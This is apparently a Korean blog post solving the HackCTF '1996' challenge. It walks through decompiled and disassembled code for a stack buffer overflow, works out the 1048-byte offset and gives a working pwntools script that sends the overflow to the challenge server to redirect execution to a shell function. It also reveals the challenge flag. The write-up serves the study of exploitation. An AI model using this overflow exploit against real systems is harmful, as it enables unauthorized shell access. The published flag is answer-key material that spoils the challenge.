[문제]


[풀이]

  • 64bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 환경변수 값을 입력 받음

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx@1
  __int64 v4; // rax@1
  __int64 v5; // rdx@1
  __int64 v6; // rbx@1
  char *v7; // rax@1
  __int64 v8; // rdx@1
  __int64 v9; // rax@1
  char name; // [rsp+0h] [rbp-410h]@1

  std::operator<<<std::char_traits<char>>(&_bss_start, "Which environment variable do you want to read? ", envp);
  std::operator>><char,std::char_traits<char>>(&std::cin, &name);
  v4 = std::operator<<<std::char_traits<char>>(&_bss_start, &name, v3);
  v6 = std::operator<<<std::char_traits<char>>(v4, "=", v5);
  v7 = getenv(&name);
  v9 = std::operator<<<std::char_traits<char>>(v6, v7, v8);
  std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
  return 0;
}
  • 입력 값으로 받은 사용변수는 name 변수로 받아 bss 영역에 저장됨 → 입력 값 길이에 대한 제한 없어 BOF 발생
  • name을 getenv 함수로 환경변수 값을 호출하여 반환

 

IDA 분석 - spawn_shell 함수

int spawn_shell(void)
{
  char *argv; // [rsp+0h] [rbp-10h]@1
  __int64 v2; // [rsp+8h] [rbp-8h]@1

  argv = "/bin/bash";
  v2 = 0LL;
  return execve("/bin/bash", &argv, 0LL);
}
  • flag 출력

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000000000400718  _init
0x0000000000400740  std::basic_istream<char, std::char_traits<char> >& std::operator>><char, std::char_traits<char> >(std::basic_istream<char, std::char_traits<char> >&, char*)@plt
0x0000000000400750  __cxa_atexit@plt
0x0000000000400760  std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt
0x0000000000400770  std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt
0x0000000000400780  getenv@plt
0x0000000000400790  std::ios_base::Init::Init()@plt
0x00000000004007a0  execve@plt
0x00000000004007b0  _start
0x00000000004007e0  _dl_relocate_static_pie
0x00000000004007f0  deregister_tm_clones
0x0000000000400820  register_tm_clones
0x0000000000400860  __do_global_dtors_aux
0x0000000000400890  frame_dummy
0x0000000000400897  spawn_shell()
0x00000000004008cd  main
0x0000000000400968  __static_initialization_and_destruction_0(int, int)
0x00000000004009b1  _GLOBAL__sub_I__Z11spawn_shellv
0x00000000004009d0  __libc_csu_init
0x0000000000400a40  __libc_csu_fini
0x0000000000400a44  _fini
  • main: 0x00000000004008cd
  • spawn_shell: 0x0000000000400897

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004008cd <+0>:	push   rbp
   0x00000000004008ce <+1>:	mov    rbp,rsp
   0x00000000004008d1 <+4>:	push   rbx
   0x00000000004008d2 <+5>:	sub    rsp,0x408
   0x00000000004008d9 <+12>:	lea    rsi,[rip+0x188]        # 0x400a68
   0x00000000004008e0 <+19>:	lea    rdi,[rip+0x200779]        # 0x601060 <_ZSt4cout@@GLIBCXX_3.4>
   0x00000000004008e7 <+26>:	call   0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x00000000004008ec <+31>:	lea    rax,[rbp-0x410]
   0x00000000004008f3 <+38>:	mov    rsi,rax
   0x00000000004008f6 <+41>:	lea    rdi,[rip+0x200883]        # 0x601180 <_ZSt3cin@@GLIBCXX_3.4>
   0x00000000004008fd <+48>:	call   0x400740 <_ZStrsIcSt11char_traitsIcEERSt13basic_istreamIT_T0_ES6_PS3_@plt>
   0x0000000000400902 <+53>:	lea    rax,[rbp-0x410]
   0x0000000000400909 <+60>:	mov    rsi,rax
   0x000000000040090c <+63>:	lea    rdi,[rip+0x20074d]        # 0x601060 <_ZSt4cout@@GLIBCXX_3.4>
   0x0000000000400913 <+70>:	call   0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x0000000000400918 <+75>:	lea    rsi,[rip+0x17a]        # 0x400a99
   0x000000000040091f <+82>:	mov    rdi,rax
   0x0000000000400922 <+85>:	call   0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x0000000000400927 <+90>:	mov    rbx,rax
   0x000000000040092a <+93>:	lea    rax,[rbp-0x410]
   0x0000000000400931 <+100>:	mov    rdi,rax
   0x0000000000400934 <+103>:	call   0x400780 <getenv@plt>
   0x0000000000400939 <+108>:	mov    rsi,rax
   0x000000000040093c <+111>:	mov    rdi,rbx
   0x000000000040093f <+114>:	call   0x400760 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
   0x0000000000400944 <+119>:	mov    rdx,rax
   0x0000000000400947 <+122>:	mov    rax,QWORD PTR [rip+0x200692]        # 0x600fe0
   0x000000000040094e <+129>:	mov    rsi,rax
   0x0000000000400951 <+132>:	mov    rdi,rdx
   0x0000000000400954 <+135>:	call   0x400770 <_ZNSolsEPFRSoS_E@plt>
   0x0000000000400959 <+140>:	mov    eax,0x0
   0x000000000040095e <+145>:	add    rsp,0x408
   0x0000000000400965 <+152>:	pop    rbx
   0x0000000000400966 <+153>:	pop    rbp
   0x0000000000400967 <+154>:	ret    
End of assembler dump.
  • main+53에서 사용자의 입력이 rbp-0x410에 저장됨을 알 수 있음
    • ret까지의 offset은 SFP(8)을 더한 0x418(1048)일 것으로 추정
  • main에 bp를 걸어 임의의 값(a)입력

  • 사용자의 입력은 0x7fffffffda50에 저장됨

 

문제 해결

💡 dummy(1048)+ spawn_shell_address

 

Python2

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3013)
e = ELF("./1996")
#spawn_shell = e.symbols['spawn_shell']

payload = "a"*1048 + p64(0x400897)
p.recvuntil("? ")
p.sendline(payload)

p.interactive()
  • symbols로 spawn_shell을 구하는게 안먹힘. 이전에는 됐는데 왜 안되는지 모르겠음.


flag

🍒 HackCTF{b29a2800780d85cfc346}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] g++ pwn  (0) 2022.10.30
[HackCTF] Poet  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30
[HackCTF] RTL_Core  (0) 2022.10.30
[HackCTF] Beginner_Heap  (0) 2022.10.30

+ Recent posts